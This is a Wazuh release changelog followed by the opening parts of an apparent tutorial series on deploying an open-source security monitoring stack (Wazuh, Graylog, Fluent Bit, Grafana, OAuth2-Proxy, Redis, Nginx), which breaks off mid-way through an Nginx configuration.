• wazuh-engine: /logtest endpoint cleanup temporary fields by @matigarciadev in #35420
• Add fast metrics module by @NahuFigueroa97 in #35142
• Bump 4.14.5 branch by @wazuhci in #35465
• Update changelog for v4.14.5-rc1 by @jotacarma90 in #35467
• Fix guardduty.py size in check files by @MarcelKemp in #35472
• Update uninstall procedure for Windows. by @rjcausarano in #35451
• Ms-graph - handle relationships that contain '/' by @jpcerrone in #35431
• Validate IP address format in host_ip field for Windows by @cborla in #35418
• Avoid using keyentries counter as index by @MiguelazoDS in #35456
• Linux test integration workflow improvements by @rovogel in #35060
• Enhancement/35084 improve it mac os by @rovogel in #35289
• Resume modules before manager sync to reduce coordination pause window by @lchico in #35357
• Check first scan termination before sync start by @anromerom in #35455
• Remove dead python code by @TomasTurina in #35533
• Include source IP in wazuh-remoted log messages by @20syldev in #35358
• Feed update re-scan revision by @ignaciogalle12git in #35271
• Backport: Fix FIM flaky integration tests by @Nicogp in #35535
• Migrate CM store-crud resources to native JSON flow by @jam300 in #35172
• wazuh-engine: Engine rename archiver module to event dumper by @matigarciadev in #35477
• Update inventory sync documentation by @TomasTurina in #35587
• Fix workflow input name: set-as-main → set_as_main in bumper workflow by @jotacarma90 in #35592
• Remove leftover code from deprecated Agent 0 by @fcontrerasc in #35195
• Synchronize Syscollector and VD queue databases during the flush process by @rjcausarano in #35518
• Add manager architecture documentation by @TomasTurina in #35607
• Early populate metadata after handshake by @fcontrerasc in #35387
• Fix script injection vulnerabilities in CI workflows by @jpcerrone in #35480
• (4x) Fix script injection vulnerabilities in CI workflows by @jpcerrone in #35598
• Update manager index names to sync by @juliancnn in #35527
• Suppress unexpected stateless events after SCA initial scan by @jr0me in #35432
• Dynamic getWazuhHome by @jepalfer in #35232
• Improve fast metrics interface managment and test by @NahuFigueroa97 in #35540
• Engine - Add Filter Sync by @NahuFigueroa97 in #35613
• Persist VD first-sync state in table_metadata by @anromerom in #35590
• Merge branch '4.14.5' into '4.14.6' by @jotacarma90 in #35655
• Normalize stateless check fields by @AnDumu in #35404
• Fix token validation race condition after revoke by @javiersanchz in #35218
• unify sandbox and trace into a single static parameter in policy creation by @LucioDonda in #35541
• Flush feed RocksDB memtable before marking feed ready on download completion by @Nicogp in #35639
• Remove unused SSL/TLS transport option from cluster by @vikman90 in #35648
• Fix WUA hotfix collection regression in Windows Agent v5.0.0 by @nbertoldo in #35662
• Handle stop signal during vulnerability feed download by @fcontrerasc in #35657
• Bump main branch by @wazuhci in #35699
• Revert "Merge pull request #35699 from wazuh/enhancement/wqa35624-bum… by @TomasTurina in #35700
• Emit WCS-aligned JSON for agent-start and buffer-status events by @lchico in #35671
• Support revert bump by @TomasTurina in #35660
• wazuh-engine: add retention policies for streamlog module by @matigarciadev in #35565
• Support revert bump by @jotacarma90 in #35714
• Merge 4.14.6 into main by @TomasTurina in #35705
• Fix rootcheck and security API IT by @TomasTurina in #35722
• Improve Active Response Custom Script Documentation by @nbertoldo in #35723
• Update GDPR control mappings in SCA rulesets by @Johnng007 in #35711
• Fix flaky API IT by @TomasTurina in #35724
• Fix agents API IT by @TomasTurina in #35746
• wazuh-engine: Improve graceful shutdown (fast shudown) by @juliancnn in #35585
• Remove legacy unclassified category by @jam300 in #35542
• Fix SCA YAML size drift + missing workflow path triggers by @jr0me in #35748
• Add cluster validations by @TomasTurina in #35757
• Prevent agent.host.ip from being silently dropped when agent IP is empty by @jotacarma90 in #35475
• Apply register_configure_agent.sh on reinstall after apt-get remove by @Miguevrgo in #35727
• Directory layout improvement by @jepalfer in #35622
• Improve message handling robustness in wazuh-remoted by @vikman90 in #35773
• Fix stale generated headers after clean by @jr0me in #35777
• Fix agent 5x sends trailing null byte 0 in messages by @jr0me in #35658
• Improve Python security scans - Implementation by @jnasselle in #35653
• Skip vdFirst and polling for vdSync when a feedUpdate occurs by @Antoniogm03 in #35421
• Fix SCA integration tests flakiness and deadlocks on Windows by @Darioortegaleyva in #35461
• Adapt support-new-oss template by @rafabailon in #35326
• Separate public and private APIs and split OpenAPI specs by @jam300 in #35614
• Update decoders and filters Jschemas by @NahuFigueroa97 in #35760
• engine: Improve devContainer for e2e by @juliancnn in #35775
• Improve agent name validation by @vikman90 in #35833
• Don't trigger manager checks in draft PR by @TomasTurina in #35842
• Don't trigger the agent's PR checks in drafts by @MarcelKemp in #35852
• Vulnerability scanner - CVSSV4.0 support. by @MiguelazoDS in #35759
• Change VD provider name by @jotacarma90 in #35863
• Send wodle command event in a WCS JSON compatible format. by @rjcausarano in #35703
• Validate user name in API by @TomasTurina in #35866
• OS_type field addition to db by @jepalfer in #35794
• Preserve manager files during package upgrades by @ignaciogalle12git in #35580
• Add wazuh.event.id to correlate events from a single log by @jam300 in #35840
• Add workflow_dispatch to engine unit and integration tests by @cborla in #35892
• Fix labels for dedicated arm64 runner by @AlexRuiz7 in #35920
• Add unit tests and a test tool for the Indexer-Connector Module by @LucioDonda in #35720
• wazuh-engine: Async router worker pool by @matigarciadev in #35868
• Solved the deliminer bug in enrich protocol by @NahuFigueroa97 in #35972
• Improve manual dispatch for it workflows by @Nicogp in #35971
• Enhancement/33940 implement use cases by @LucioDonda in #35970
• Prevent segfault when stopping disabled vulnerability scanner module by @vikman90 in #36011
• Graceful termination via cooperative cancellation by @jotacarma90 in #35953
• Fix Coverity findings in SCA, sync protocol, router init, and command cleanup by @fcontrerasc in #35985
• wazuh-engine: Architecture doc by @juliancnn in #36028
• Engine metrics collection, normalization and indexing by @Darioortegaleyva in #35774
• Remove selinux from manager by @Antoniogm03 in #35965
• Added new CVE5 fields by @MiguelazoDS in #36030
• Restart Wazuh service on version check by @hernanvalenzuela in #36003
• Add caller module context to indexer connector logging by @jotacarma90 in #35963
• Fix wrong value of wazuh.cluster.name field in metrics indices by @Darioortegaleyva in #36012
• Align threat fields under wazuh by @NahuFigueroa97 in #35902
• Revert the changes that preserve all configuration files when upgrading an agent by @MarcelKemp in #36050
• Add code coverage reporting to legacy unit test workflows by @Nicogp in #36047
• Update JSON property names in Wodle event by @rjcausarano in #36031
• Remove msgpack and pacman from external dependencies by @jotacarma90 in #35987
• Defer engine sync while indexer is updating by @juliancnn in #35945
• Add protection for double VDFirst scan by @TomasTurina in #36004
• Update python requirements by @TomasTurina in #35990
• Update cryptography and python multipart by @TomasTurina in #35982
• Fix string handling in version comparison function by @vikman90 in #36059
• Dependency Reduction Evidence — Debian/Ubuntu by @Miguevrgo in #36027
• Improve cluster file handling path validation in end_receiving_file by @vikman90 in #36060
• Solve agent disconnect on direct 4.13→5.0 custom WPK upgrade by @lchico in #36052
• Prevent Windows agent restart abort when service is already stopping by @cborla in #35991
• Remove /bin and /sbin from monitored directories on usrmerge distros by @Darioortegaleyva in #36058
• Fix Coverity Medium Impact Defects - Release 5.0.0 Beta 1 (Agent) by @nbertoldo in #35959
• Removal of unused dependencies by @jepalfer in #36010
• Deprecate API IT tier 2 by @TomasTurina in #36074
• Expand Windows environment variables in SCA rule inputs by @fcontrerasc in #36054
• Update wodle command arg construction for Windows paths by @anromerom in #35973
• fix: Coverity Low Impact Defects by @rovogel in #36032
• Include os_type in agent keepalive cluster sync by @jotacarma90 in #36075
• Resolve relative indexer certificate paths by @jotacarma90 in #36090
• wazuh-engine: Improve wic index deteccion by @juliancnn in #36087
• Adapted curl call for old system on wazuh-control by @juliancnn in #36094
• Remove 4_X workflows code from main by @Miguevrgo in #36044
• Update changelog for 4.14.6 by @jotacarma90 in #36110
• Merge 4.14.6 into main by @jotacarma90 in #36109
• Build binutils 2.41 in the deb-agent amd64 builder image by @jr0me in #36128
• Ensure all workflows use specific OS by @TomasTurina in #36104
• Refresh apt index before installing flex/bison for binutils 2.41 by @jr0me in #36133
• Improve json schema for optional time by @juliancnn in #36136
• Improve Unit test's readme by @jpcerrone in #36055
• Refresh deb-agent amd64 checkfiles sizes for ld 2.41 by @jr0me in #36144
• Local wazuh-manager installation by @MiguelazoDS in #36100
• Update support new OSs issue template for devOps team by @Enaraque in #36154
• Unchecked return value defects reported by coverity by @hernanvalenzuela in #36056
• Add workflow to upgrade external dependencies by @jr0me in #36048
• Upgrade external deps: curl, sqlite, xz, libarchive (DEPS_VERSION 99-29734) by @jr0me in #36152
• Honor shutdown signal in agent-upgrade StartMQ to avoid timeout by @cborla in #36141
• Add keystore and indexer connector component tests workflows by @MiguelazoDS in #36142
• DockerListener messages as log by @rovogel in #36179
• Drop orphan paths before promoting on agent startup by @jr0me in #36198
• Build windows externals inside compile_windows_agent image by @jr0me in #36206
• Make sync_end_delay interruptible to remove stale modulesd.pid by @lchico in #36240
• Restore vulnerability scanner database workflow by @jotacarma90 in #36254
• Bump main branch by @wazuhci in #36294
• Update CHANGELOG for v5.0.0 Beta 2 by @jotacarma90 in #36295
• Complete v5.0.0 Beta 2 stage bump and align spec.yaml blob URLs by @jotacarma90 in #36297

New Contributors

• @hossam1522 made their first contribution in #35089
• @20syldev made their first contribution in #35358
• @Enaraque made their first contribution in #36154

Full Changelog: v5.0.0-beta1...v5.0.0-beta2

Managing IT infrastructure security without commercial tools is entirely possible. This documenting the implementation of a complete open source security platform, deployed in production.

This is not a generic tutorial. It’s a guide based on real decisions, and an architecture that runs in production today.

What problem does this platform solve?

In any organization, visibility into what’s happening on servers tends to be fragmented: logs are scattered across different locations, alerts don’t arrive in real time, and each system has its own credentials. The result is an IT team that reacts instead of anticipating.

This platform centralizes three critical capabilities:

• Threat detection — Wazuh monitors security events, file integrity, and system behavior in real time.
• Log management — Graylog receives, indexes, alerts, and allows querying all infrastructure logs from a single point.
• Operational visualization — Grafana delivers real-time dashboards.

All of this is accessible through a single sign-on using the corporate account, thanks to OAuth2-Proxy.

The architecture in brief

The solution is built on five layers:

Detection layer: Wazuh acts as the SIEM/XDR engine. It analyzes events, correlates alerts, and generates notifications. These events/alerts are sent to Graylog via Fluent Bit.

Transport layer: Fluent Bit reads Wazuh events and forwards them to Graylog over RAW TCP. It’s lightweight, efficient, and highly configurable.

Log management layer: Graylog parses the JSON data, indexes all events, enables natural language searches, and exposes an Bridge that we later integrate with Claude via MCP.

Visualization layer: Grafana connects to Wazuh as a datasource and presents data in real-time operational dashboards.

Access layer: Nginx acts as a reverse proxy with TLS ar HTTP header-based authentication. OAuth2-Proxy validates user identity against OIDC and propagates it to each application. Redis stores the sessions.

Technology stack

The entire stack is open source and runs on a single Linux server:

• Ubuntu 26.04 LTS
• Wazuh v4.14.5
• Graylog v7.1.0
• MongoDB v7.0
• Grafana v13.0.1
• OAuth2-Proxy v7.15.2
• Fluent Bit v5.0.5
• Nginx v1.28.3
• Redis v8.0.5

Hardware: Minimum 8 CPU cores, 16 GB RAM
Storage: Dedicated LVM volumes (OS, data and logs separated)

Why this design?

Two architectural decisions deserve explanation:

Separate LVM volumes. The operating system, application data, and logs live on independent partitions. If logs grow out of control, they don’t affect the OS or application data. Scaling log storage is as simple as expanding the corresponding volume.

A single authentication point. Instead of managing users and passwords separately, OAuth2-Proxy delegates all authentication to IdP. The user logs in once and accesses all three systems. Local credentials are eliminated from the lifecycle.

What’s coming in the next articles

This series covers the complete implementation, component by component:

1. Introduction and architecture ← you are here
2. Wazuh — SIEM/XDR
3. MongoDB — Graylog’s DB
4. Graylog — Log management, data input, alerts
5. Fluent Bit — Log shipper
6. Grafana — Real-Time Operational Dashboards
7. OAuth2-Proxy — Single Sign-On with IdP (Identity Provider)
8. Redis — Session Persistence and Storage
9. Nginx — Reverse Proxy with TLS and Header-Based Authentication
10. Troubleshooting Guide
11. Authentication — Four steps: SSO and intregation Graylog with Wazuh
12. Graylog Ingest — Configuring Data Ingest from Fluent Bit
13. Graylog MCP + Claude — Querying logs in natural language with AI
14. Final architecture, evidences, and conclusions

Each article includes the exact commands used in production.

Recommendation: Create a working directory. In some sections, we jump to different directories cd; after each step, return to the directory.

Wazuh: SIEM/XDR

Part 2

This article covers the foundation of the entire stack: the server where the platform lives, and the installation and configuration of Wazuh — the SIEM/XDR engine that detects and correlates security events in real time.

The server platform
Before installing any component, it’s worth explaining the storage decision. We use separate LVM volumes for the operating system, application data, and logs:

Volume Size Path Operating system 60 GB / Data 150 GB /data Logs 20 GB /log Swap 4 GB — estimate sizes based on own infrastructure.

Why this separation? If logs grow out of control — and they will — they don’t affect the operating system or application data. Scaling log storage is as simple as expanding the /log volume without touching anything else. The same logic applies to application data in /data.

Wazuh: the detection engine
Wazuh is an open source SIEM (Security Information and Event Management) and XDR (Extended Detection and Response) platform. In practical terms, it continuously monitors system events, correlates alerts, detects file integrity issues, access anomalies, and much more.

In this implementation, Wazuh serves two roles:

1. Detection — analyzes operating system and service events.
2. Export — generates alerts in JSON format that Fluent Bit forwards to Graylog.

Installation

Wazuh’s installation is notable for its simplicity: a single script handles the entire stack (Wazuh Manager, Indexer, and Dashboard).

curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh && bash ./wazuh-install.sh -a

Info: Despite the compatibility information, it works without problems with Ubuntu 26.04.

“The recommended systems are: Red Hat Enterprise Linux 7, 8, 9; CentOS 7, 8; Amazon Linux 2; Amazon Linux 2023; Ubuntu 16.04, 18.04, 20.04, 22.04; Rocky Linux 9.4”

Test environments: If the server doesn’t meet the minimum hardware requirements (4 GB RAM, 2 CPU cores), add the -i argument to skip the validation.

Configuration

The Wazuh installer places its data in default paths /var/lib/wazuh-indexer, /var/ossec/logs. We need to mount bind them to our LVM volumes while keeping the original paths functional.

# Stop services

systemctl stop wazuh-indexer wazuh-dashboard wazuh-manager filebeat

Filebeat is included in the Wazuh installation but we’ll replace it with Fluent Bit, which is lighter and more flexible for forwarding events to Graylog.

# Disable Filebeat

systemctl disable filebeat

# Create directory structure

mkdir -p /data/wazuh-indexer/lib /log/wazuh-indexer /data/wazuh/ossec/logs

# Assign permissions to the service user and files

chown wazuh-indexer:wazuh-indexer /data/wazuh-indexer/lib /log/wazuh-indexer
chown wazuh:wazuh /data/wazuh/ossec/logs
chmod 770 /data/wazuh/ossec/logs 

# Move existing content

mv /var/lib/wazuh-indexer/* /data/wazuh-indexer/lib/
mv /var/ossec/logs/* /data/wazuh/ossec/logs/

Mount with bind — preserving original paths

The key is using bind mounts: services continue using their default paths, but the actual storage is on the LVM volumes. This avoids modifying Wazuh’s internal configuration.

Evaluate:
With “nofails” the server will start even if the mounts fail, but the services will fail.
Omitting “nofails” will start in emergency mode.

echo "/data/wazuh/ossec/logs /var/ossec/logs none defaults,bind,nofail 0 0" >> /etc/fstab
echo "/data/wazuh-indexer/lib /var/lib/wazuh-indexer none defaults,bind,nofail 0 0" >> /etc/fstab
echo "/log/wazuh-indexer /var/log/wazuh-indexer none defaults,bind,nofail 0 0" >> /etc/fstab
systemctl daemon-reload
mount -a

Compatibility adjustment for Graylog

Wazuh Indexer uses OpenSearch with an option that, by default, forces another version for Filebeat compatibility.

# /etc/wazuh-indexer/opensearch.yml - Comment out

#compatibility.override_main_response_version: true

About the Dashboard warning: When connecting Graylog, the Wazuh Dashboard may display a warning about wazuh-alerts-* index patterns. This is a cosmetic warning that does not affect functionality — it can be safely ignored.

Expected scenario: Filebeat cannot send data to the indexer, and alerts will not appear in the Wazuh dashboard.

Adjusting the Dashboard for Nginx

The Wazuh Dashboard will listen on 127.0.0.1:8080 instead of the default port, since Nginx will act as a reverse proxy with TLS on port 443.

# /etc/wazuh-dashboard/opensearch_dashboards.yml

server.host: 127.0.0.1
server.port: 8080

Credentials and backup
After installation, Wazuh generates a wazuh-install-files.tar file containing certificates, the root CA, and passwords. It's critical to extract and back it up immediately.

tar -xvf wazuh-install-files.tar

The wazuh-passwords.txt file inside contains all automatically generated passwords. Protecting it is mandatory.

MongoDB: Graylog’s DB

Part 3

MongoDB is the database Graylog uses to store its internal configuration: streams, alerts, dashboards, users, and metadata. It does not store the logs themselves — that’s handled by OpenSearch/ElasticSearch — but it’s an essential component for Graylog to function.

An important warning before installing

MongoDB version 8.0 has kernel incompatibilities with Ubuntu 26.04. The stable, tested version for this implementation is 7.0. This is one of those cases where the latest version is not the best choice.

Installation

Add the official MongoDB 7.0 repository and install.

curl -fsSL https://pgp.mongodb.com/server-7.0.asc | gpg -o /usr/share/keyrings/mongodb-server-7.0.gpg --dearmor
echo "deb [signed-by=/usr/share/keyrings/mongodb-server-7.0.gpg] https://repo.mongodb.org/apt/ubuntu jammy/mongodb-org/7.0 multiverse" | tee /etc/apt/sources.list.d/mongodb-org-7.0.list
apt update
apt install mongodb-org -y

Configuration

We apply the same pattern as with Wazuh: move data to the /data volume and logs to the /log volume, using bind mounts to keep the original paths intact.

# Create directory structure

mkdir -p /data/mongodb/lib /log/mongodb

# Assign permissions to the service user

chown mongodb:mongodb /data/mongodb/lib /log/mongodb

# Bind mount

echo "/data/mongodb/lib /var/lib/mongodb none defaults,bind,nofail 0 0" >> /etc/fstab
echo "/log/mongodb /var/log/mongodb none defaults,bind,nofail 0 0" >> /etc/fstab
systemctl daemon-reload
mount -a

Why does this pattern repeat?

We apply the same storage strategy to every component in the stack. The reason is simple: in a production environment, data must survive an OS reinstallation. If the OS lives on / (60 GB) and data on /data (150 GB), I can reinstall Ubuntu without losing any application data.

The /log volume (20 GB) is independent because logs have a different lifecycle — they rotate, compress, and get deleted — and we don't want their growth to affect either the OS or application data.

Graylog: Centralized Log Management with TLS Integration to Wazuh Indexer

Part 4

Graylog is the heart of log management in this platform. It receives security events from Fluent Bit, indexes them in OpenSearch (through Wazuh Indexer), enables real-time searches, and exposes an API that we later connect to Claude via MCP.

Installation

Graylog requires Java as a dependency. We install Java 17 and then the Graylog 7.1 server.

apt install openjdk-17-jre-headless -y
wget https://packages.graylog2.org/repo/packages/graylog-7.1-repository_latest.deb
dpkg -i graylog-7.1-repository_latest.deb
apt-get update
apt install graylog-server -y

Configuration

# Create directory structure

mkdir -p /data/graylog/lib/journal /data/graylog/jks /var/lib/graylog-server/journal /log/graylog

# Assign permissions to the service user

chown -R graylog:graylog /data/graylog/lib /var/lib/graylog-server/journal /log/graylog

# Bind mount

echo "/data/graylog/lib/journal /var/lib/graylog-server/journal none defaults,bind,nofail 0 0" >> /etc/fstab
echo "/log/graylog /var/log/graylog-server none defaults,bind,nofail 0 0" >> /etc/fstab
systemctl daemon-reload
mount -a

Credential configuration

Graylog requires two key values in its main configuration file.

# password_secret - internal encryption key (64 characters)

cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 64 | head -n 1

# root_password_sha2 - SHA256 hash of the administrator password

echo -n '<password>' | shasum -a 256 | cut -d' ' -f1

# /etc/graylog/server/server.conf

password_secret = <password_secret>
root_password_sha2 = <root_password>

Integration with Wazuh Indexer
This is one of the most important steps and the one most frequently omitted in generic guides. Graylog needs to connect to Wazuh Indexer (OpenSearch) over HTTPS, which requires it to trust Wazuh’s CA certificate.

The solution is to incorporate Wazuh’s CA into a Java Key Store (JKS) that Graylog can use.

# Copy the base Java keystore

cp /usr/share/graylog-server/jvm/lib/security/cacerts /data/graylog/jks/graylog.jks
cd /data/graylog/jks

# Import the Wazuh CA certificate
# When keytool asks "Trust this certificate? [no]:", answer: y
# Set a custom or random password

keytool -importcert -keystore graylog.jks -storepass <password> -alias wazuh-ca -file /etc/wazuh-indexer/certs/root-ca.pem

Then configure Graylog to use this keystore at startup.

# /etc/default/graylog-server - Enter the password defined in the previous step

GRAYLOG_SERVER_JAVA_OPTS="-Djavax.net.ssl.trustStore=/data/graylog/jks/graylog.jks -Djavax.net.ssl.trustStorePassword=<password>"

# Assign permissions to the service user

chown -R graylog:graylog /data/graylog/jks

Why not just disable TLS verification?

It’s a common temptation to use ssl_verify=false to skip this entire process. The problem is that in production this eliminates a real security layer: any server could present itself as Wazuh Indexer and Graylog would accept it without question. The JKS procedure takes ten extra minutes and guarantees secure communication between components.

Fluent Bit: The Bridge Between Wazuh and Graylog

Part 5

Fluent Bit is the component that connects Wazuh with Graylog. Its function is simple but critical: read the JSON alerts file that Wazuh generates in real time and forward each event to Graylog over TCP. It’s lightweight, efficient, and consumes minimal resources even under high event load.

Why Fluent Bit instead of Filebeat?

Wazuh installs Filebeat by default to export data to ElasticSearch. Filebeat can be configured to send to Graylog (at the same time, Graylog’s data source is Wazuh), but Fluent Bit is significantly lighter, has better support for complex pipelines, and consumes less memory.

The decision is clear: we disable Filebeat (covered in the Wazuh article) and install Fluent Bit.

Installation

Ubuntu 26.04 (Resolute Raccoon) doesn’t yet have official Fluent Bit packages. The solution is to use the Noble (Ubuntu 24.04) packages, which are compatible.

sh -c 'curl https://packages.fluentbit.io/fluentbit.key | gpg --dearmor > /usr/share/keyrings/fluentbit-keyring.gpg'
echo "deb [signed-by=/usr/share/keyrings/fluentbit-keyring.gpg] https://packages.fluentbit.io/ubuntu/noble noble main" | tee /etc/apt/sources.list.d/fluent-bit.list
apt update
apt install fluent-bit -y

Configuration

# Create directory structure

mkdir -p /log/fluent-bit /var/log/fluent-bit

# Bind mount

echo "/log/fluent-bit /var/log/fluent-bit none defaults,bind,nofail 0 0" >> /etc/fstab
systemctl daemon-reload
mount -a

The main configuration file

This is the core of Fluent Bit. It defines three sections: the global service, the data input (INPUT), and the output (OUTPUT).

Pay attention when copying: The Fluent Bit configuration file is sensitive to indentation. Incorrect indentation will prevent the service from starting.

# /etc/fluent-bit/fluent-bit.conf

[SERVICE]
  flush 5
  daemon Off
  log_level info
  log_file /log/fluent-bit/td-agent-bit.log
  parsers_file parsers.conf
  plugins_file plugins.conf
  http_server Off
  storage.metrics on
  storage.path /tmp/storage
  storage.sync normal
  storage.checksum off
  storage.backlog.mem_limit 5M
[INPUT]
  name tail
  path /var/ossec/logs/alerts/alerts.json
  tag wazuh
  parser json
  Buffer_Max_Size 5MB
  Buffer_Chunk_Size 400k
  storage.type filesystem
  Mem_Buf_Limit 512MB
[OUTPUT]
  Name tcp
  Host localhost
  Port 5555
  net.keepalive off
  Match wazuh
  Format json_lines
  json_date_key true

How the pipeline works

1. INPUT tail — Reads the /var/ossec/logs/alerts/alerts.json file continuously, similar to tail -f. Every time Wazuh writes a new alert, Fluent Bit detects it.
2. Tag wazuh — Labels each event so the OUTPUT knows what to process.
3. OUTPUT tcp — Sends each event to port 5555 on localhost in JSON format, where Graylog will listen with a Raw HTTP input.

The on-disk buffer storage.type filesystem ensures no events are lost if Graylog is momentarily unreachable. Events accumulate and are resent once the connection is re-established.

Optional: REST API — Monitor Fluent Bit data pipelines.
https://docs.fluentbit.io/manual/administration/monitoring

Grafana: Real-Time Operational Dashboards

Part 6

Grafana is the visualization layer of the platform. It connects to Wazuh as a datasource and allows building operational dashboards that show in real time the state of the infrastructure: Wazuh alerts, log volume, access patterns, and any metric Graylog or Wazuh can provide.

In terms of base installation and configuration, Grafana is the simplest component in the stack. The complexity comes later when we integrate SSO authentication.

Installation

wget -O /etc/apt/keyrings/grafana.asc https://apt.grafana.com/gpg-full.key
echo "deb [signed-by=/etc/apt/keyrings/grafana.asc] https://apt.grafana.com stable main" | tee -a /etc/apt/sources.list.d/grafana.list
apt update
apt install grafana -y

Configuration

# Create directory structure

mkdir -p /data/grafana/lib /log/grafana

# Assign permissions to the service user

chown grafana:grafana /data/grafana/lib /log/grafana

# Bind mount

echo "/data/grafana/lib /var/lib/grafana none defaults,bind,nofail 0 0" >> /etc/fstab
echo "/log/grafana /var/log/grafana none defaults,bind,nofail 0 0" >> /etc/fstab
systemctl daemon-reload
mount -a

The specific security dashboards — visualizing Wazuh alerts, Graylog logs, and service metrics — depend on the datasources we’ll configure once the entire platform is operational.

A note on the visualization architecture:

In many similar implementations, Wazuh already includes its own dashboard based on OpenSearch Dashboards (Kibana). So why add Grafana?

The reason is datasource flexibility. The Wazuh Dashboard can only visualize data from Wazuh Indexer. Grafana can simultaneously connect to Wazuh, Prometheus, InfluxDB, SQL databases, and dozens of other sources. A single dashboard can show Wazuh alerts alongside infrastructure metrics, application logs, and any other data source — all in real time, with its own alerting system.

OAuth2-Proxy: Single Sign-On with IdP

Part 7

OAuth2-Proxy is the component that eliminates the need to manage users and passwords in Wazuh, Graylog, and Grafana separately. Instead, it delegates all authentication to IdP. The user logs in once with their corporate account and accesses all three systems without entering credentials again.

This article covers the installation of OAuth2-Proxy and its base configuration. The integration with each application is completed in the Authentication article.

How the flow works:

When a user accesses https://site.domain.com

1. Nginx receives the request and asks OAuth2-Proxy if the user is authenticated auth_request /oauth2/auth
2. If there’s no active session, OAuth2-Proxy redirects the user to IdP portal.
3. The user authenticates with their corporate account.
4. IdP returns an ID Token to OAuth2-Proxy.
5. OAuth2-Proxy validates the token and creates a session stored in Redis.
6. Nginx propagates the user’s identity in an HTTP header.
7. Each application receives the header and assigns permissions accordingly.

OAuth2 Proxy uses several layers to confirm a token’s validity

Signature Verification: The proxy checks that the token’s cryptographic signature was created by the trusted Identity Provider. It typically retrieves public keys automatically from the IdP JWKS (JSON Web Key Set) endpoint, which is discovered via the OpenID Connect well-known configuration URL.

Claim Validation: Once the signature is verified, it inspects specific fields (claims) within the token:

iss (Issuer): Must match the configured provider URL.

aud (Audience): Must contain the client_id of the OAuth2 Proxy instance to ensure the token was intended for this specific application.

exp (Expiration): Ensures the token has not expired.

The result: a single sign-on for the entire platform, with persistent sessions stored in Redis.

Installation

wget https://github.com/oauth2-proxy/oauth2-proxy/releases/download/v7.15.2/oauth2-proxy-v7.15.2.linux-amd64.tar.gz
tar -xzvf oauth2-proxy-v7.15.2.linux-amd64.tar.gz
chown root:root oauth2-proxy-v7.15.2.linux-amd64/oauth2-proxy
mv oauth2-proxy-v7.15.2.linux-amd64/oauth2-proxy /usr/sbin/

Configuration

# Create directory structure

mkdir -p /etc/oauth2-proxy /log/oauth2-proxy

# Create service user

useradd -d /dev/null oauth2-proxy -s /usr/sbin/nologin

# Create files

touch /etc/systemd/system/oauth2-proxy.service
touch /etc/oauth2-proxy/service.cfg

# Assign permissions to the service user

chown oauth2-proxy:oauth2-proxy /log/oauth2-proxy

# Generate the cookie secret (32 random characters)

cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 32 | head -n 1

Configuration file:

Case with IdP Microsoft Entra ID.

Enable debugs on errors.

# /etc/oauth2-proxy/service.cfg

client_id = "<app_id>"
client_secret = "<app_secret>"
oidc_issuer_url = "https://login.microsoftonline.com/<tenant_id>/v2.0"
cookie_secret = "<cookie_secret>"
cookie_domains = "<domain.com>"
email_domains = "<domain.com>"
whitelist_domains = "*.<domain.com>"
cookie_expire = "24h"
cookie_httponly = true
cookie_refresh = "50m"
cookie_secure = true
logging_filename = "/log/oauth2-proxy/oauth2.log"
logging_max_size = 100
logging_max_age = 5
provider = "oidc"
provider_display_name = "OIDC"
redis_connection_url = "redis://127.0.0.1:6379"
scope = "openid offline_access"
session_store_type = "redis"
set_xauthrequest = true
silence_ping_logging = true
skip_provider_button = true
upstreams = [ "file:///dev/null" ]
#show_debug_on_error = true

More details: https://oauth2-proxy.github.io/oauth2-proxy/configuration/overview

Registering in Microsoft Entra ID

⚠ Important: The Authorization Code Flow is the primary method to authenticate users, an industry-standard. Both tokens — Access and ID — are not enabled for implicit or hybrid flows.

The variety of flows often leads to confusion. With Auth Code Flow and openid scope, we will always obtain an Identification Token👍

For OAuth2-Proxy to work, you need to register an application in the Azure portal:

1. Azure Portal → Entra ID → App registrations → New registration
2. Application name, account type, and redirect URI: https://system.<domain.com>/oauth2/callback
3. Obtain the Application Client ID and Tenant ID.
4. Create a Client Secret under “Certificates & Secrets”
5. In “API permissions”, add openid and offline_access

These values are used in client_id, client_secret, and oidc_issuer_url in the configuration file.

Create service

# /etc/systemd/system/oauth2-proxy.service

[Unit]
Description=OAuth2 Proxy Daemon
After=network.target
[Service]
User=oauth2-proxy
Group=oauth2-proxy
Type=simple
ExecStart=/usr/sbin/oauth2-proxy --config=/etc/oauth2-proxy/service.cfg
Restart=always
RestartSec=10
ProtectSystem=full
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target

Redis: Session Persistence and Storage

Part 8

Redis solves a real problem: OAuth2-Proxy session cookies can grow large (cookie bloat) and exceed size limits. Storing sessions in Redis instead of in the cookie keeps the size controlled and allows sessions to survive proxy restarts.

Installation

apt install redis-server -y

Configuration

# Create directory structure

mkdir -p /data/redis/lib /log/redis

# Assign permissions to the service user

chown redis:redis /data/redis/lib /log/redis

# Bind mount

echo "/data/redis/lib /var/lib/redis none defaults,bind,nofail 0 0" >> /etc/fstab
echo "/log/redis /var/log/redis none defaults,bind,nofail 0 0" >> /etc/fstab
systemctl daemon-reload
mount -a

Nginx: Reverse Proxy with TLS and Header-Based Authentication

Part 9

Nginx is the entry point to the entire platform. It acts as a reverse proxy with TLS, routes traffic to Wazuh, Graylog, MCP, and Grafana, and coordinates with OAuth2-Proxy (except with MCP) to validate user identity on every request.

Installation

apt install nginx -y

Configuration

# Create directory structure

mkdir -p /log/nginx /etc/nginx/TLS

# Create files

touch /etc/nginx/sites-available/{wazuh,graylog,graylog-mcp,grafana}
touch /etc/nginx/snippets/{security-headers.conf,oauth2-proxy.conf}
touch /etc/nginx/TLS/{certificate.crt,private.key}

# Delete default host

rm /etc/nginx/sites-enabled/default

# Bind mount

echo "/log/nginx /var/log/nginx none defaults,bind,nofail 0 0" >> /etc/fstab
systemctl daemon-reload
mount -a

Main configuration: nginx.conf

The most notable aspect of this configuration is the map block: it extracts the username from the email returned by OIDC, taking everything before the @. This allows receive the username instead of the full email address.

To avoid excessive logging, the access log is set to off.

# /etc/nginx/nginx.conf

user www-data;
worker_processes auto;
worker_cpu_affinity auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
                                     
events {

  worker_connections 1024;

}

http {

  map $upstream_http_x_auth_request_email $http_x_auth_user {
    "~^(?<user>[^@]+)@" $user;
  }

  include mime.types;
  default_type application/octet-stream;
  sendfile on;
  tcp_nopush on;
